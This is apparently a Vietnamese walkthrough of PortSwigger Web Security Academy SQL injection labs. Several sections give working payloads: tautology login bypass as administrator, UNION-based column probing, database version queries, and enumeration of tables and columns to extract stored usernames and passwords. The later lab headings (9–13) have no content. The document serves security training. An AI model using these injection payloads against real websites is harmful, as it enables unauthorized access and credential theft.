PortSwigger - SQL Injection
1. SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Link lab tại đây
Level: APPRENTICE
Description
Lab này chứa lỗ hổng SQLi trong bộ lọc danh mục sản phẩm. Khi người dùng chọn một danh mục, ứng dụng sẽ thực hiện truy vấn SQL như sau:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
Để giải quyết bài lab, khiến ứng dụng hiển thị một hoặc nhiều sản phẩm chưa được phát hành.
Step
Đầu tiên click vào một category bất kỳ
Sau khi nhấp vào Accessories
category, URL hiển thị:
https://0a8000e303dd05e481ca2ff0002600bb.web-security-academy.net/filter?category=Accessories
Để ý những từ in đậm là chuỗi truy vấn. Ứng dụng sẽ thực hiện một truy vấn SQL để lấy thông tin từ cơ sở dữ liệu.
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
Mục tiêu là lấy tất cả thông tin sản phẩm, từ tất cả danh mục và cả sản phẩm đã phát hành và chưa phát hành.
Câu lệnh trên hiển thị released = 1
nghĩa là nó sẽ chỉ hiển thị các sản phẩm đã được phát hành, trong đó released = 0
đại diện cho các sản phẩm chưa được phát hành.
Tiếp theo nếu thêm một dấu '
vào cuối chuỗi truy vấn
?category=Accessories'
Câu truy vấn sẽ là
SELECT * FROM products WHERE category = 'Accessories'' AND released = 1
Điều này sẽ gây ra lỗi vì có một dấu '
chưa được đóng.
Tiếp theo, thêm 2 dấu gạch ngang:
?category=Accessories' --
Câu truy vấn sẽ là
SELECT * FROM products WHERE category = 'Accessories' --' AND released = 1
Trong MySQL, mọi thứ sau dấu --
sẽ được coi là comment
.
Có nghĩa là bây giờ trang web sẽ hiển thị tất cả các sản phẩm thuộc danh mục Accessories
, cả released
và unreleased
.
Để hiển thị đầy đủ mọi thứ trong cơ sở dữ liệu:
?category=Acesssories' or '1'='1' --'
Chuỗi truy vấn lúc này sẽ là:
SELECT * FROM products WHERE category = 'Accessories' or '1'='1'--' AND released = 1
Với truy vấn trên, nó sẽ trả về tất cả các sản phẩm khi Category
là Accessories
hoặc 1 = 1
, vì 1 = 1
luôn đúng nên nó sẽ trả về tất cả các sản phẩm.
Solved
2. SQL injection vulnerability allowing login bypass
Link lab tại đây
Level: APPRENTICE
Description
Lab này chứa lỗ hổng SQL Injection trong chức năng đăng nhập.
Để giải quyết bài lab, thực hiện một cuộc tấn công SQLi để đăng nhập vào ứng dụng với tư cách là administrator
.
Step
Đầu tiên ấn vào My account
để vào giao diện login
Thử đăng nhập với tài khoản administrator
và mật khẩu bất kỳ.
Khi đăng nhập, câu truy vấn sẽ có dạng:
SELECT * FROM users WHERE username = 'administrator' AND password = 'password'
Tiếp theo ta thử thêm 1 dấu '
vào cuối administrator
và đăng nhập.
Server sẽ bị lỗi, điều này cho thấy server bị lỗi SQL Injection.
Nếu ta tiêm vào username
câu lệnh: administrator' or '1' = '1' --
Câu truy vấn sẽ có dạng:
SELECT * FROM users WHERE username = 'administrator' or '1' = '1' --' AND password = 'password'
Bất kể mật khảu của tài khoản administrator
có đúng hay không, vì 1 = 1
sẽ luôn trả về true
và dấu --
sẽ comment
phần còn lại của câu lệnh ' AND password = 'password'
nên nó sẽ đăng nhập vào tài khoản administrator
.
Đăng nhập thành công. Solved
3. SQL injection attack, querying the database type and version on Oracle
Link lab tại đây
Level: PRACTITIONER
Description
Lab này chứa lỗ hổng SQL Injection trong filter danh mục sản phẩm. Sử dụng UNION Attack để truy xuất kết quả từ truy vấn được chèn. Để giải bài lab, hãy hiển thị phiên bản của cơ sở dữ liệu.
Step
Trong Oracle, built-in table có tên là dual
, do vậy, ta có thể dò cột bằng cách sử dụng UNION SELECT
và gọi FROM
đến bảng dual
.
SELECT * FROM products WHERE category = 'Accessories' UNION SELECT null FROM dual --'
Lặp đi lặp lại câu lệnh, mỗi lần tăng số lượng null
.
Ta có thể tìm thấy số lượng cột chính xác bằng cách thêm ' UNION (select null, null)--
.
SELECT * FROM someTable WHERE category = 'Accessories' UNION (SELECT null, null) FROM dual --'
Đến đây, ta có thể biết được version
của database bằng payload: ' UNION SELECT NULL,banner FROM v$version --'
SELECT * FROM products WHERE category = 'Accessories' UNION SELECT NULL,banner FROM v$version --'
Solved
4. SQL injection attack, querying the database type and version on MySQL and Microsoft
Link lab tại đây
Level: PRACTITIONER
Description
Lab này chứa lỗ hổng SQL Injection trong filter danh mục sản phẩm. Sử dụng UNION Attack để truy xuất kết quả từ truy vấn được chèn. Để giải bài lab, hãy hiển thị phiên bản của cơ sở dữ liệu.
Step
Lab này tương tự như lab về Oracle Datable
nhưng sử dụng MySQL Database.
Đầu tiên ta cũng dự đoán số cột tương tự lab 3
.
Database lần này cũng gồm 2 cột sau khi thử: Accessories' UNION SELECT NULL,NULL --'
Đến đây, ta có thể biết được version
của database bằng payload: ' UNION SELECT NULL,@@version --'
Solved
5. SQL injection attack, listing the database contents on non-Oracle databases
Link lab tại đây
Level: PRACTITIONER
Description
Lab này yêu cầu ta tìm kiếm account của administrator để login. Tuy vậy, ta chưa biết database loại nào mà chỉ biết nó không phải là Oracle mà thôi.
Step
Đầu tiên, ta sẽ dò số cột trong database:
Như vậy ta đã biết trong database có 2 cột.
Thử một số cách kiểm tra version
của database ta có thể biết được server dụng PostgreSQL
.
Ta sử dụng payload này để kiểm tra tên bảng có trong database: ' UNION SELECT NULL, table_name FROM information_schema.tables --'
Có 2 bảng là pg_user
và users_excods
Kiểm tra lần lượt các cột trong 2 bảng này thì phát hiện ra trong bảng user_excods
có 2 cột khả nghi.
Payload: ' UNION SELECT null,column_name FROM information_schema.columns WHERE table_name='users_excods' --'
Kiểm tra 2 cột, ta biết được tài khoản/mật khẩu của administrator
.
Payload: ' UNION SELECT username_tjzvcx, password_ligkez FROM users_excods --'
Solved
6. SQL injection attack, listing the database contents on Oracle
Link lab tại đây
Level: PRACTITIONER
Description
Lab này yêu cầu ta tìm kiếm account của administrator để login. Sử dụng Oracle Database.
Step
Giống với lab 5 ở trên nên mình sẽ làm tương tự.
Payload: ' UNION SELECT NULL, table_name from all_tables --'
Tìm được bảng có tên USERS_JBIWMO
.
Tiếp tục tìm kiếm các cột có trong bảng USERS_JBIWMO
Ta tìm được tài khoản/mật khẩu của administrator
với payload:
Payload: ' UNION SELECT USERNAME_EYKUIK, PASSWORD_ISAXTU FROM USERS_JBIWMO --'
Solved
7. SQL injection UNION attack, determining the number of columns returned by the query
Link lab tại đây
Level: PRACTITIONER
Description
Bài lab yêu cầu ta xác định số cột của bảng bằng cách sử dụng SQL injection UNION attack.
Step
Tương tự cách xác định cột tại đây .
Payload: ' UNION SELECT NULL, NULL, NULL --'
Solved
8. SQL injection UNION attack, finding a column containing text
Link lab tại đây
Level: PRACTITIONER
Description
Bài lab yêu cầu ta tìm chuỗi dữ liệu cho trước 64fl9W
bằng cách sử dụng SQL injection UNION attack.
Step
Đầu tiên ta cũng xác định số cột của bảng .
Payload: ' UNION SELECT NULL, NULL, NULL --'
Với UNION Attack, ta có thể tìm một cột chưa giá trị loại string
bằng cách thử chèn đoạn string
cần tìm vào:
Payload: ' UNION SELECT NULL, '64fl9W' ,NULL --'
Solved
9. SQL injection UNION attack, retrieving data from other tables
Link lab tại đây
Level: PRACTITIONER
Description
Step
10. SQL injection UNION attack, retrieving multiple values in a single column
Link lab tại đây
Level: APPRENTICE
Description
Step
11. Blind SQL injection with conditional responses
Link lab tại đây
Level: PRACTITIONER
Description
Step
12. Blind SQL injection with conditional errors
Link lab tại đây
Level: PRACTITIONER
Description
Step
13.
Link lab tại đây
Level: PRACTITIONER